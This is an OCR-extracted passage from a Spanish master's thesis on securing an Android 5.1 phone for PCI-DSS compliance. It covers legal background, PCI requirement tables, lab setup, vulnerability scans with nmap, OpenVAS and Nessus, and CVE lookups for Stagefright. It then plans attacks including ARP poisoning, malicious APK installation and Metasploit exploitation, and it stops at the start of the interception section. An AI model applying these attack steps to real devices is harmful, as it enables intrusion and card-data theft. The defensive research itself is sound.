Un usuario malintencionado puede comprometer mas facilmente un dispositivo mévil, al cual

se le haya ejecutado el procedimiento de rooting.

2.5 Marco legal

Para efectos de la investigacion se consultd la normativa legal vigente y aplicable al objeto
de estudio. En el presente trabajo de fin de master se procede a citar la Ley de Delitos
Informéticos de Colombial273del 5 de enero de 2009 (Congreso de la republica de
Colombia, 2009).

Como antecedente a la ley 1273 del 2009, se puede mencionar el Cédigo Penal colombiano
(Ley 599 de 2000) que en su capitulo séptimo del libro segundo, del titulo 1ll denominado:
Delitos contra la libertad individual y otras garantias, hace referencia a la violacion de la

intimidad, reserva e interceptacion de comunicaciones.

Los siguientes articulos fueron obtenidos del Cddigo Penal colombiano (Ley 599 de 2000)
Titulo Il (Congreso de Colombia, 2000).
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Articulo 192:Violacion ilicita de comunicaciones.

Articulo 193: Ofrecimiento, venta o compra de instrumento apto para interceptar la

comunicacion privada entre personas.
Articulo 194: Divulgacion y empleo de documentos reservados.
Articulo 195: Acceso abusivo a un sistema informatico.

Articulo 196: Violacién ilicita de comunicaciones o correspondencia de caracter

oficial.
Articulo 197: Utilizacion ilicita de equipos transmisores o receptores.

La ley 1273 de 2009 (Congreso de la republica de Colombia, 2009) se divide en dos
capitulos. El primer capitulo es concerniente a los atentados a la confidencialidad, la
integridad y la disponibilidad de los datos y de los sistemas de informacion. El segundo

capitulo se denomina “de los atentados informaticos y otras infraciones”.

La familia de normas ISO/IEC 27000 (SGS academy, 2015) define la seguridad como la
preservacién de la confidencialidad, integridad y disponibilidad, pilares fundamentales del

sistema de gestion de la seguridad informatica.

Teniendo en en cuenta el enfoque de la presente investigacion, resulta indispensable
abordar los requisitos y procedimientos emitidos por la (Industria de tarjetas de pago PCl v
3.0, 2013, pag. 6).

Las PCI DSS constituyen un conjunto minimo de requisitos para proteger los datos de
titulares de tarjetas y se pueden mejorar por medio de controles y practicas
adicionales a fin de mitigar otros riesgos y de leyes y regulaciones locales, regionales
y sectoriales. Ademas, la legislacion o las regulaciones pueden requerir la proteccion
especifica de la informacion de identificacion personal u otros elementos de datos (por
ejemplo, el nombre del titular de la tarjeta). Las PClI DSS no sustituyen las leyes

locales ni regionales, las regulaciones gubernamentales ni otros requisitos legales.

|
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3 Metodologiay planificacion

3.1.1 Planteamiento del trabajo

El presente trabajo de fin de méster estd enfocado al disefio de un piloto experimental
estructurado en una serie de pruebas de concepto, que buscan por medio de la explotacion
de vulnerabilidades conocidas presentar al lector lo vulnerable que puede llegar a ser el
sistema operativo Android lollipop versién 5.1, cuando no tiene aplicadas configuraciones de
seguridad que tengan por objetivo contener ataques informatico.

La actividad se realizard en un ambiente simulado, que requiere de niveles de seguridad
superiores como lo es un entorno financiero. Debido a la sensibilidad de la informacién de
las tarjetas de pago, que se pueden llegar a administrar, gestionar y custodiar en

dispositivos méviles, integrados a la infraestructura tecnoldgica del entorno financiero.

El cumplimiento de la normativa proferida por la industria de tarjetas de pago es el principal
objetivo de esta investigacion, por lo cual los controles que se van a implementar deben ser

encaminados a atender los requisitos de seguridad de PCI-DSS.

Posterior al establecimiento de los controles de mitigacién, el resultado esperado obtenido
de la observacion realizada por el investigador, debe poseer un enfoque cuantitativo, debido

al caracter técnico de la investigacion.

Las pruebas de concepto en el marco del piloto experimental se van a realizar a un
dispositivo mévil marca Lenovo con sistema operativo Android lollipop version 5.1, ya que
dicha version ocupa una porcién mayoritaria en el mercado de los smartphone a junio del
afio 2016. Es importante precisar que a partir de esta versién se implementé la maquina
virtual ART que traduce Android en tiempo de ejecucidn, esta caracteristica aporta mejoras

de seguridad al sistema operativo.

e Jollipop versiéon 5.1

|
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4.04 Sandwich

Kitkat

41x Jelly Bean 16 6.8%
4.2 17 9.4%
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Mota: La informacidn de esta imagen corresponde
al porcentaje de ocupacion en el mercado de las 4.4 KitKat 19 31.6%
versidnes del sistema operativo Android.

5.0 Lollipop 21 15.4%

a.1 22 20.0%

6.0 Marshmallow 23 10.1%

Figura 6 Dashboard porcentaje de versiones de dispositivos moviles Android

Fuente: (Android developer-Google)

4 Estudios de seguridad

4.1.1 Requisitos para el cumplimiento de la norma PCI

En el presente apartado se describen las directrices de manera detallada y mejores
practicas, que instruyen al lector sobre los requisitos de las normas PCI-DSS y los
procedimientos recomendados para realizar las pruebas de cumplimiento, teniendo en

cuenta la obligatoriedad de las mismas.

En la siguiente tabla se puede evidenciar en detalle los requisitos de obligatorio
cumplimiento, publicados en la norma PCI-DSS numerales 1.4 y 4.1 (Industria de tarjetas de
pago PCI v 3.0, 2013) aplicables a los dispositivos moviles.
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REQUISITOS DE LAS PCI DSS

1.4 Instale software de firewall
personal en todos los
dispositivos méviles o de
propiedad de los trabajadores
que tengan conexion a Internet
cuando estan fuera de la red
(por ejemplo, computadoras
portatiles que usan los
trabajadores), y que también se
usan para acceder a la red. Las
configuraciones de firewalls
incluyen lo siguiente:

* Los parametros especificos de
configuracién se definen para
cada software de firewall
personal.

« El software de firewall personal
funciona activamente.

* Los usuarios de dispositivos
moviles o de propiedad de los
trabajadores no pueden alterar
el software de firewall personal.

Master Universitario en Seguridad Informéatica

PROCEDIMIENTOS DE
PRUEBA

1.4. a Revise las politicas y las

normas de configuracion para
verificar lo siguiente:

* El software de firewall personal
se debe incluir en todos los
dispositivos moviles o de
propiedad de los trabajadores
que tengan conexion a Internet
cuando estan fuera de la red
(por ejemplo, computadoras
portéatiles que usan los
trabajadores), y que también se
usen para acceder a la red.

* Los parametros especificos de
configuracién se definen para
cada software de firewall
personal.

* El software de firewall personal
esta configurado para funcionar
activamente.

* El software de firewall personal
esté configurado para que los
usuarios de dispositivos moviles
o de propiedad de trabajadores
no puedan alterarlo.

1.4. b Inspeccione la muestra de
dispositivos moviles o de
propiedad de los trabajadores
que cumplan con los siguientes:
* El software de firewall personal
esta instalado y configurado de
conformidad con los parametros
de configuracion especificos de
la empresa.

* El software de firewall personal
funciona activamente.

* Los usuarios de dispositivos
moviles o de propiedad de los
trabajadores no pueden alterar
el software de firewall personal.

Los dispositivos informaticos
portatiles autorizados para
conectarse a Internet desde
afuera del firewall corporativo
son mas vulnerables a las
amenazas basadas en Internet.
El uso de un firewall personal
ayuda a proteger los
dispositivos contra ataques
basados en Internet, los cuales
pueden usar el dispositivo para
obtener acceso a los datos y a
los sistemas de la organizacion
cuando el dispositivo se conecta
nuevamente a la red.

La organizacion determina los
parametros de configuracion
especificos del firewall.

Nota: El objetivo de este
requisito es aplicarlo a las
computadoras de los
trabajadores y de la empresa.
Los sistemas que la politica
corporativa no puede
administrar introducen
debilidades en el perimetro y
brindan oportunidades que las
personas malintencionadas
pueden explotar. Permitir que
sistemas no confiables se
conecten a la red de la
organizacion puede generar el
acceso de atacantes y otros
usuarios malintencionados.
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4.1 Utilice cifrado solido y
protocolos de seguridad (por
ejemplo, SSL/TLS, IPSEC, SSH,
etc.) para proteger los datos
confidenciales del titular de la
tarjeta durante la transmision
por redes publicas abiertas,
como por ejemplo, las
siguientes:

* Solo se aceptan claves y
certificados de confianza.

* El protocolo implementado
solo admite configuraciones o
versiones seguras.

* La solidez del cifrado es la
adecuada para la metodologia
de cifrado que se utiliza.

Ejemplos de redes publicas
abiertas incluyen, entre otras,
las siguientes:

* La Internet

* Tecnologias inalambricas,
incluso 802.11 y Bluetooth

« Tecnologia celular, por
ejemplo, GSM (sistema global
de comunicacién moviles),
CDMA (acceso multiple por
division de codigo)

« Servicio de radio paquete
general (GPRS)

» Comunicaciones satelitales
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4.1. a ldentifique todas las
ubicaciones donde se
transmiten o reciben datos del
titular de la tarjeta en redes
publicas abiertas. Revise las
normas documentadas y
comparelas con las
configuraciones del sistema
para verificar que se usen
protocolos de seguridad y
criptografia segura en todas las
ubicaciones.

4.1. b Revise las politicas y los
procedimientos documentados
para verificar que se hayan
especificado los procesos para
las siguientes opciones:

« Para aceptar solo claves o
certificados de confianza.

« Para que el protocolo en uso
solo acepte versiones y
configuraciones seguras (que no
se admitan versiones ni
configuraciones inseguras).

* Para implementar la solidez de
cifrado correcta para la
metodologia de cifrado que se
utiliza.

La informacién confidencial
debe estar cifrada durante la
transmision en redes publicas,
porque es facil y comun para
una persona malintencionada
interceptar y/o desviar datos
mientras estan en transito.

Para transmitir los datos del
titular de la tarjeta de manera
segura, es necesario usar
claves/certificados de confianza,
protocolos de transmision
seguros y una solidez de cifrado
correcta para cifrar estos datos.
No se deben aceptar solicitudes
de conexion de sistemas que no
admiten la solidez de cifrado
necesaria y que pueden generar
una conexién insegura.

Tenga en cuenta que algunas
implementaciones de protocolos
(como SSL version 2.0 y SSH
version 1.0 y TLS 1.0) tienen
vulnerabilidades conocidas que
un atacante puede utilizar para
controlar el sistema afectado.
Independientemente del
protocolo de seguridad utilizado,
asegurese de que esté
configurado para utilizar solo
versiones y configuraciones
seguras para impedir el uso de
una conexién insegura. Por
ejemplo, TLS version 1.1 o
posterior, certificados obtenidos
de una autoridad de certificacion
publica y reconocida y que
admita solo cifrados sélidos.
Verificar que los certificados
sean de confianza (por ejemplo,
que no se hayan vencido o que
los haya emitido una fuente de
confianza) contribuye a
garantizar la integridad de una
conexion segura.

Tabla 4 Descripcién requisitos a evaluar en el experimento

Fuente (Industria de Tarjetas de Pago PCl v 3.0, 2013)
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5 Desarrollo especifico del piloto experimental

5.1 Definicion del alcance

Con el desarrollo del siguiente piloto experimental se pretende asegurar un dispositivo
marca Lenovo A 2010-I con sistema operativo Android lollipop version 5.1, que interactla
como cliente de manera directa con la infraestructura tecnoldgica de un entorno financiero
simulado y se busca garantizar el cumplimiento de la normativa de la industria de tarjetas de
pago (PCI-DSS) en los requisitos 1.4 y 4.1 aplicables a los dispositivos méviles.

De igual manera identificar los mecanismos efectivos para mitigar en un alto grado, algunos
de los riesgos a los que estan expuestos los datos de los usuarios de tarjetas de pago,
cuando su informacion es almacenada o hace trafico en un dispositivo mévil Android lollipop
version 5.1 proveido por la compafia e integrado a la infraestructura de un entorno

corporativo financiero.

5.2 Variables

Variables Independientes

o Requisitos 1.4 y 4.1 de seguridad de datos de la industria de tarjetas de pago (PCI).
e Version 5.1 del dispositivo movil Android lollipop.

e Privilegios del dispositivo mévil root/no root.

e Vectores de ataque.

e Amenazas existentes que puedan llegar a comprometer el dispositivo movil.

e Vulnerabilidades halladas en el analisis de vulnerabilidades.

¢ Riesgos identificados en el andlisis de riesgos.

Variables dependientes:

e Impacto.

e Controles aplicados.
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5.3 Formulacién del modelo

La metodologia utilizada es un test de penetracién en el marco de una prueba de concepto
(PoC), simulando las acciones de un atacante real; esta evaluacion de seguridad es
soportada en los hallazgos obtenidos en las fases de recoleccion de informacion, andlisis de
vulnerabilidades y analisis de riesgos. Seguidamente se procedera a realizar la explotacion
de las vulnerabilidades encontradas y basado en la guia publicada por el proyecto OWASP
mobile Security.

Se van a realizar los siguientes ataques en un entorno virtual de laboratorio de seguridad

informatica:

e Interceptacién de trafico en un canal de comunicaciones.
e Explotacién vulnerabilidad conocida con la herramienta metasploit de Rapid7.

Posteriormente se buscard asegurar el dispositivo realizando una serie de configuraciones
en la terminal movil y agregando algunas tecnologias a la infraestructura tecnoldgica
simulada, que permite la comunicacion entre el dispositivo moévil Android y el entorno

corporativo financiero.

5.3.1 Experimentacién

Posterior a la validacion del sistema que se va a aplicar en la prueba de concepto, se
procede a la obtencion de los datos por medio de la observacién en el proceso del piloto
experimental, para de esta manera recopilar datos que méas adelante deben ser tabulados e

interpretados.

5.3.2 Recoleccién de datos

Los datos recolectados seran obtenidos de la observacion en el proceso de explotacién de
las vulnerabilidades en la prueba de concepto, lo cual suministrard una vision clara del
escenario para asegurar.

|
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5.3.3 Verificacion

El proceso de verificacion consistirh en comprobar, que el modelo simulado cumpla con lo

proyectado en la etapa de disefio del piloto experimental.

5.3.4 Validacioén del sistema

El piloto experimental permitira validar el éxito de los controles implementados, siendo esta
una buena practica recomendada en el proceso investigativo asociado al objeto de estudio,
el cual busca simular las condiciones de un ataque informético real; convirtiéndose en una

prueba veraz que involucra una serie de recursos tecnolégicos, inventiva y mucha paciencia.

5.3.5 Interpretacion

Al finalizar el arduo proceso experimental se procedera con el andlisis de los resultados
obtenidos de la explotacion y la mitigacién, se confirmara o desvirtuara la hipétesis base del

presente trabajo de investigacion.

5.4 Preparacion del entorno de pruebas

En este apartado se describen en detalle las herramientas utilizadas en el ambiente de
laboratorio de seguridad informética, que simula el entorno corporativo financiero para la

realizacion de la prueba de concepto.

5.4.1 Requerimientos para la implementacion del laboratorio

Para la implementacion del laboratorio de seguridad informética, se requiere una

infraestructura con las siguientes caracteristicas (Gupta, 2014):
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ID.  Recursos técnicos requeridos (Herramientas Pruebas) Cantidad
Punto de acceso wi-fi, para la utilizacion de distintas técnicas
H1 | de snifing. 1
Dispositivo smartphone Lenovo Angus a 2010 con sistema
H2 | operativo Android version 5.1 lollipop. 1
H3 | Vmware Workstation 10. 1
Computador de escritorio minimo 4 gigas en RAM y disco
H4 | duro de 128 gb. 1
H5 | Maquina virtual con software kali Linux versién 2.0. 2
H6 | Herramienta para analisis de vulnerabilidades openvas. 1
H7 | Software metasploit framework. 1
H8 | Software wireshark. 1
H9 | Software Open vpn. 1
H10 | Android SDK. 1
H11 | Eclipse 1
H12 | Sharkreader 1
H13 | Andriller_v2.5 1
H14 | Apktool _2.0.1 1
H15 | Burpsuite_free_v1.6.0.1 1
H16 | Sqlitebrowser 1
H17 | Adt_Bundle _Windows 1
H19 | Software Pfsense 1
H20 | Documento Word con informacion sensible (PAN) 1
H21 | Imagen extracto con informacién sensible (PAN) 1
H22 | Virtualbox 1

Tabla 5 Descripcion requisitos a evaluar en el experimento

Fuente Autoria propia

|
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El proyecto owasp mobile en su apartado de pruebas propone las herramientas relacionadas

en la figura (owasp, 2015):

ApkTool

[Android dble Kernel Modul: }

o

Int: Android
PY

Figura 7 Herramientas para realizar las pruebas sugeridas por owasp.

Fuente: (owasp, 2015)

En la siguiente imagen se puede evidenciar la preparacion del entorno, para realizar la

prueba de concepto:

@ * T . » AMNDROIDD » ANDROID FOREMSE v & Buscar en ANDROID FO

s Eavoritos [ Mombre . Fecha de modifica.. Tipo Tamafio

& Descargas @ Andriller_v2.4.5_Setup.exe 26/07/20157:45 p....  Aplicacian 8.439 KB

B Escritorio |[E| android-forensics-master.zip 26/07/2015 7:48 p....  zip Archive 53 KB

"] Sitios recientes | £ apktool_2.0.1 jar I Executable Jar File 5.962 KB

#& SkyDrive | £ burpsuite_free v1.6.01,jar Executable Jar File 7.556 KB

iE] dexZjar-2x.zip zip Archive 959 KB

. Bibliotecas (3 jd-gui-windows-1.2.0zip zip Archive 7.735 KB

@ Documentas [EI sqlitebrowser-master.zip zip Archive 1.671 KB

Figura 8 Herramientas para realizar las pruebas al dispositivo movil.

Fuente: Autoria propia.
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6 Desarrollo de la prueba de concepto

La prueba que se va a realizar es un test de penetracidén de caja blanca, teniendo en cuenta
que se tiene conocimiento en detalle del sistema que se esta atacando. El dispositivo
elegido para la prueba es un smartphone Lenovo Angus a 2010-l con sistema operativo

Android lollipop v 5.1.

& [ oo © "l 12:04Pm

< Acerca del dispositivo

Numero de modelo
Lenovo A2010-I

Version de Android
5.1

Version de banda base
MOLY.LR9.W1444 MD.LWTG.MP.V8.P35

Numero de compilacion

A2010-
I_S215_1508311700_MP3V1_8G_TELEFONI
A

Version de hardware
H101

CPU
4cpu 1.0GHz

A

Version de hardware
H101
Figura 9 Caracteristicas dispositivo mévil Lenovo A 2010-I

Fuente: Autoria propia

El proceso de pentesting aplicado en el presente piloto experimental se divide en las

siguientes etapas:

¢ Recoleccién de informacion.

¢ Andlisis de vulnerabilidades.

e Analisis de riesgos.

e Explotacion de las vulnerabilidades.

e Post-explotacién de las vulnerabilidades.
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6.1 Recoleccion de informacion

En esta fase de la prueba de penetracion, se recopilan los siguientes datos:

Atributo Detalle Cantidad
Tipo de dispositivo smartphone 1
Lenovo Angus a

Marca 2010- N/A
Version del sistema operativo Android 5.1 lollipop N/A
Kernel Linux 3.10.65 N/A
Procesador Arm7I| N/A
Direccion Ip. 192.168.1.50 N/A
Puertos No N/A
Root Si N/A
Sd-card Si N/A
Wi-fi Si N/A
Bluetooth Si N/A
Correo Electrénico Gmail-Corporativo N/A
Acceso a Internet Si N/A
Navegador Chrome N/A
Acceso a Ftp Si N/A
Descarga app Si N/A
Antivirus No N/A
mobile Device Management No N/A

Tabla 5 Informacion recolectada

Fuente: Autoria propia

Por medio de un escaneo de puertos con la herramienta zenmap se trata de identificar los

servicios expuestos en la terminal mévil Android v. 5.1 con ip. 192.168.1.50.
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Scan  Tools Prefile Help

Target: | 192.168.1.50 v| Profile v| Scani Cancel

Command: | nmap -sV 192.168.1.50

Services MNmap Output | Ports / Hosts | Topolegy | Host Details | Scans

e « [rmap -svis2168.1.50 | v Details
W 192.168.1.50

Starting Mmap 7.12 ( https://nmap.org ) at 2016-07-14
W 192168.1.51 28:58 Hora est. Pacifico, Sudamérica

Nmap scan report for 192.168.1.5@

Host is up (@.826s latency).

A11 1888 scanned ports on 192.168.1.58 are closed

MAC Address.: veliAS 31 1T nknawn

Service detection performed. Please report any incorrect
results at https://nmap.org/submits .

Nmap done: 1 IP address (1 host up) scanned in 15.31
seconds

Figura 10 Escaneo con zenmap

Fuente: Autoria propia

6.2 Analisis de vulnerabilidades

Se establece que para poder iniciar la prueba de concepto, es necesario identificar las
principales vulnerabilidades que afectan a los dispositivos méviles con sistema operativo
Android lollipop version 5.1, dejando claro que el andlisis se realiza sobre un dispositivo

movil maraca Lenovo, entre las vulnerabilidades mas comunes se pueden encontrar:

e Vulnerabilidades de tipo desbordamiento de memoria.

e Vulnerabilidades de tipo desbordamiento de spoofing.

El procedimiento inicial debe ser la ejecucion de una herramienta automatizada para el

andlisis de vulnerabilidades denominada openvas.

La instalacion de la herramienta de seguridad openvas se va a realizar en la maquina virtual
de Kali configurada en el laboratorio de seguridad informética. La descripcién de la
instalacion se encuentra en la pagina web https://www.kali.org/penetration-testing/openvas-

vulnerability-scanning/(kali.org, 2015)

|
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Comandos ejecutados instalaciéon openvas
apt-get update

apt-getdist-upgrade

apt-get install openvas

openvas-setup

netstat -antp # Verificar puertos a la escucha

Tabla 6 Comandos ejecutados en instalacion openvas

Fuente (kali.org, 2015)

Cuando se realice la correcta ejecucion de los comandos, el administrador de la herramienta
de seguridad openvas, el scanner y los servicios GSAD estaran a la escucha. (kali.org,

2015), seguidamente se deben iniciar los servicios.

Con la ejecucion de la herramienta openvas se lograron obtener los siguientes resultados:

& Logged in as Admin admin | Logout

Security Assistant Tue Jul 12 21;30:49 2016 UTC

Scan Management Asset Management Secinfo Management Configuration Extras Administration

TaskDetais B HEE S0 =R

Name: Immediate scan of IP 192.168.1.8 0 86627010 7488.4608. 97 ¢ 7000 32454307

Comment Creates Toe Jul 12 21:04:33 2016
Target: Target for immediate scan of IP 192.168.1.8 Last modfied: Toe Jul 12 210449 2016
Alorts Owner admin
Schedule (Next due: over)
Add to Assets yes
Alterable Task no
Auto Delete Reports: Do not automatically delete reports
Scanner OpenVAS Default (Type: OpenVAS Scanner)
Scan Config: Full and fast
Slave

Order for target hosts: N/A

Network Source Interface

Maamum concurrently executed NVE per host: 10
Maximum concurrently scanned hosts: 30

Status [P r—

Reports: 1 (Finished: 1, Last: Jul 12 2016)
Results i2

Notes 0

Overrides 0

Figura 11 Anédlisis de vulnerabilidades dispositivos moviles Android herramienta openvas

Fuente Autoria propia
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Seguidamente se procede con la ejecucion del analisis de vulnerabilidades con la

herramienta nessus.

[«] _xbar% localhost 834/ /scans taldar3 & LT

Scans Uplzad
My Scans [1] Mame schedule Last Modified =
I leneve-san andraid lellipap 5.1 I On Demand T 10PM

Figura 12 Andlisis de vulnerabilidades con nessus en dispositivos moviles Android

Fuente Autoria propia

Solo se logran obtener alertas informativas, que no contribuyen de manera importante a la

ejecucion del ataque.

enovo-scan android lo IHJ';-:P X Configure | Audit Trail Leunch = Bport -

Hosts * 192.168.1.50 > Vulnerabilities [E}

Savirity = Plugin Narme Flugin Famity Count Host Details
m Ethemet Card Marufacturer Detaction Mlisc, 1 IP: 192.1638.1.50
m AP Timestamp Request Remote Date Disclosure General 1

m Tracergute Information General 1

Vulrerabilities

Figura 13 Resultados Andlisis de vulnerabilidades con Nessus en dispositivos moviles Android
Fuente Autoria propia
Una fuente que no se puede dejar pasar por alto para validar las vulnerabilidades del

sistema operativo Android lollipop v 5.1, es el portal de (Mitre, 2015) en donde se almacena

un completa lista de vulnerabilidades conocidas.
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Para efectos de la investigacion se procede a realizar una consulta de la cadena de texto
Android en el portal de Mitre, con el fin de identificar las cve (vulnerabilidades comunes y
expuestas) asociadas al sistema operativo motivo de la presente investigacion.

L N
;
L

G-

PV

TOTAL CVE-IDs: 76755

HOME > SEARCH THE SITE

& https://cve.mitre.org/tind/index.html

Common Vulnerabili
The Standard for Informatiol

About CVE Search the CVE Web Site
FAQs To search the CVE Web site, enter a keyword by typing in a specific term or multiple keywords separated by a space, and click the Google
CVE List

Search button or press return. To search CVE itself visit the U.S. National Vulnerability Database or the CVE List Main Page, as not all relevant
CVE entries are displayed in the results of this general site search.

About 23,800 results [).22 seconds

for Android - CVE - Search Results

CWE-2016-2810 8Mozilla Firefox before 46.0 on Android before 5.0 allows attackers to bypass intended Signature access requirements
ed application ...

Search & Downloads
Updates & Feeds
Coverage Goals

Request a CVE-ID

CVE Numbering Authorities
(CHAs)

CVE In Use

Scoring (via NVD)

Fix Info (via NVD)
CVE-Compatible Products
News

Free Newsletter

[search |

via a crafs
https://cve.mitre.org/cgi-binfcvekey.cgi?keyword=Android

Figura 14 Busqueda cadena de texto Android en Mitre

Fuente: Autoria propia

Se logr6 obtener de manera preliminar 23.800 resultados, posiblemente por la ambigtuedad

de la consulta, es preciso realizar un filtro a la busqueda realizada.

En el afio 2015 las vulnerabilidades asociadas a stagefright causaron un gran revuelo en la

comunidad en general ya que se aprovechaba de una grave vulnerabilidad en la libreria de
multimedia libstagefright.

€« > C https://cve.mitre.org/cgi-bin/cvename.cgizname=CVE-2015-6602 =Tk
CVE LIST COMPATIBILITY NEWS — AUGUST 29, 2016 SEARCH
? [y [
>, ;\\ /- Common Vulnerabilities and Exposures
> ° LAY The Standard for Informnation Security Vulnerabilify Names
o amy

TOTAL CVE-IDs: 77808

HOME > CVE > CVE-2015-6602

About CVE Printer-Friendly View
FaQs Search Master Copy of
CVE List Ve

Search & Downloads
Updates & Feeds
Coverage Goals

Request a CVE-ID

CVE Numbering Authorities
(Cnas)

CVE In Use

Scoring (via NVD)

Fix Info (via NVD)
CVE-Compatible Products
News

Free Newsletter
Community

CVE Editorial Board

CVE-2015-660

Description

Learn more at National Vulnerability Database (NVD)
« Severity Rating « Fix Information s Vulnerable Software Versions « SCAP Mappings

libutils in Android through 5.1.1 LMY48M allows remote attackers to execute arbitrary code via crafted metadata in a (1) MP2 or (2) MP4 file,
as demonstrated by an attack against use of libutils by libstagefright in Android 5.x

References

Note: References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.

« MISC:https://blog.zi

ium.com/zimperi labs-is-raising-the-vol

 MISC:https://threatpost.com/stagefright-2-0-vulnerabilities-affect-1-billion-android-devices/114863;

ulnerability-processing-mp3mp4-media,

« CONFIRM:https://support.silentcircle.com/customer/en/portal/articles/2145864-privatos-1-1-12-release-notes

Figura 15 Consulta cve-2015-6602 en el portal de Mitre

Fuente: Autoria propia

Download CVE
View CVE (html)
Updates & RSS Feeds

Data Sources/Product
Coverage

Request a CVE
Identifier

About CVE Identifiers
Reference Key/Maps
Editorial Policies

CVE Editor's
Commentary

search Tips
CVE-ID Syntax Change
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Posteriormente se realizdé una busqueda en el recurso online https://www.exploit-db.com/ de
exploit database, el cual nos limita los resultados realizados en la busqueda con la palabra
Android a 55 entradas; lo cual es favorable para el objetivo que es explotar una

vulnerabilidad conocida en un dispositivo con sistema operativo Android.

El objeto de estudio para esta fase del ataque son las vulnerabilidades que afecten a la
version 5.1 de Android lollipop.

L C' | 8 https://www.exploit-db.com/search/?action=search&description=android&g-recaptcha-response=03AHJ_VuvmknkDMbV1M4Qs7wI7gPGYFY35HAGRDGP
Iiliq!ﬂlrlrs} Home  Exploits  shellode  Papers  Google Hacking Database  Submit  Search

™
e zey umrebet m

D A V Platform Author

- - ndroid Google Securit
(o] oid
v ¢ android
” android
« oid
v ¢ android
v ruption android it
[c] androld
v A android netasploit
v ruption android Google Securit
& Ar nteger Overflow Remote Code Executio android soogle Securit
@ Android st Telnetd with Parameters android Steven Padilla
& Android Stagefright - Remate Code Execution android oshua . Drak. |

Figura 16 Consulta en Exploit Database

Fuente: Autoria propia

Para identificar si el dispositivo es vulnerable a stagefright, se realiza la instalacién de la
aplicacion StagefrightDetector.apk de Zimperium; se encuentra que el dispositivo es

vulnerable a ejecucion remota de cddigo y se identifica con el CVE-2015-6602.

all - ¢ O o D a2% 3:22pm

Stagefright Detector

Hi |
High: 0
Moderate : O

( Confirmed )
Remote Code Execution
Vulnerabilities in libutils

Vulnerable

Your device is affected bv

T ZIMPERIUM

v 53

Figura 17 Stagefright detector

Fuente: Autoria propia
e
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En la siguiente imagen se evidencian los actores y las amenazas que tienen participacion en

el proceso de la seguridad de los dispositivos maviles.

remoto

de cédigo
malicioso

Figura 18 Algunas amenazas moviles

Fuente: Autoria propia

6.3 Analisis de riesgos

Como fase esencial del piloto experimental se procede a realizar el analisis de riesgos, con
el fin de valorar las amenazas e identificar los vectores vulnerables, que afectan los activos
de informacién que se gestionan en el dispositivo mévil Lenovo Android version 5.1 lollipop,

seleccionado para la prueba de concepto.

El objetivo del mencionado andlisis de riesgos es validar la probabilidad de que las

amenazas del entorno se materialicen.
A continuacion la ecuacién del riesgo total:
e RT (riesgo total) = probabilidad x impacto
En la siguiente matriz de riesgos (Tabla 7) se evidencia de la probabilidad de ocurrencia,

impacto, nivel de riesgo y principio de la seguridad de la informacion afectado, en un

dispositivo movil Android v 5.1 lollipop:
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Tabla 7 Andlisis de riesgos.

Fuente Autoria propia
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En la Matriz para el andlisis del riesgo se evidencian los riesgos que pueden llegar a generar
mayor impacto al dispositivo mévil Android lollipop version 5.1 y por ende comprometer

informacién sensible de la organizacién y de sus clientes.

La probabilidad de ocurrencia también es bastante alta, lo cual indica que la tarea para

mitigar los riesgos identificados va a requerir controles adicionales a los propuestos por la

industria de pagos con tarjeta PCI-DSS.

- Extrema
Probabilidad
Alto
Muy Alta ' i
Moderado
jAlta - R3R11RIZRIS R2,RS,R10 Sajo
Mouerada - -
Rizsgos gue necssitan mitigacion:
Baja Planes de actuacion correctivas
Fi=sgos gue necesitan Investigacion:
) Planes de actuacion preventivos
Rizszos gue neczsitan Monitorizacion:
Impactoy Planes de actuacion detectives.
Inferior Menor Impartante Mayor Superior

Tabla 8 Matriz de andlisis del riesgo probabilidad de ocurrencia vs impacto

Fuente Autoria propia

6.3.1 Top 10 riesgos moviles owasp

Posterior a la identificacion de las vulnerabilidades y el analisis de riesgos y teniendo en
cuenta el objetivo principal de la presente investigacion, es importante indicar que para el
caso puntual del aseguramiento del cliente Android lollipop v 5.1 en el entorno financiero y
para garantizar el cumplimiento de la normativa PCI-DSS, surgi6 la necesidad de validar
mas fuentes para identificar otros riesgos de seguridad; por esta razén se procede a realizar
la verificacién de la informacién publicada referente al top 10 de los riesgos de owasp
mobile, los cuales son:
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ID. Riesgo

M1 Controles débiles del lado del servidor

M2 Almacenamiento inseguro de datos

M3 Proteccion insuficiente en la capa de transporte
M4 Fuga de datos no intencionada

M5 Autorizacién y autenticacion débil

M6 Criptografia rota

M7 Inyeccidn del lado del cliente

M8 Decisiones de seguridad por entradas no confiables
M9 Manejo inadecuado de sesiones

M10 Ausencia de proteccidn para los binarios

Tabla 9 Riesgos de seguridad en dispositivos moviles owasp mobile.

Fuente: (owasp, 2015)

6.4 Fase explotacion de las vulnerabilidades

Posterior a la identificacion de las amenazas, vectores de ataque, vulnerabilidades y el
andlisis de riesgos, se procede a elegir los siguientes ataques para explotar las
vulnerabilidades identificadas, que mas impacto pueden llegar a generar al comprometer un

dispositivo movil Android lollipop version 5.1.

ATAQUE ACTIVIDAD

Robo de credenciales (FTP): Comprometer
usuario y contrasefia de un servicio FTP,
creado en el ambiente simulado.

¢ Interceptacion de trafico en un canal de
comunicaciones inseguro, utilizando envenenamiento
de tablas ARP (MIT).

Elevacion de privilegios.

Descarga e instalacion de apk maliciosa.
Instalacion apk maliciosa sd card.
Comprometer SMS con informacion
confidencial.

Robo de informacion confidencial.

* Control remoto explotando vulnerabilidad en memoria
del dispositivo mévil con Metasploit.

Tabla 10 Descripcién ataques a realizar

Fuente Autoria propia
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Las pruebas de concepto se realizaron en un entorno controlado aislado, para garantizar
fiabilidad en las mismas y la no intromision de variables externas que puedan llegar a
contaminar los datos obtenidos en la prueba.

En la siguiente tabla se pueden apreciar las pruebas a realizadas en el contexto del ataque

afm 0 [} O % ®EE 70% 11:58am

Root Checker Basic <

VERIFICARROOT MEJORAS  GLOBAL

Congratulations! Root
access is properly

installed on this
device!
Dispositivo: Lenovo

A2010-1
Versién de Android: 5.1

Figura 19 Chequeo Rooting dispositivo movil

Fuente: Autoria propia

La explotacion de la vulnerabilidad stagefright con el CVE-2015-6602, no fue viable porque
el exploit utilizado para realizar la actividad fue detectado por los controles de ASLR del
dispositivo movil Lenovo A 2010-1 y no permitié su ejecucion.

video.mpd

W) om0

Figura 20 Fichero multimedia stagefrigth malicioso

Fuente: Autoria propia

Aseguramiento de dispositivos moviles Android para el cumplimiento de la norma (PCI-DSS) Pagina 41



Angel Daniel Lopez Martinez Master Universitario en Seguridad Informéatica

6.4.1 Interceptacion de trafico en canal de comunicaciones

inseguro.

Envenenamiento de tablas ARP en un ataque de hombre en el medio, explotando una
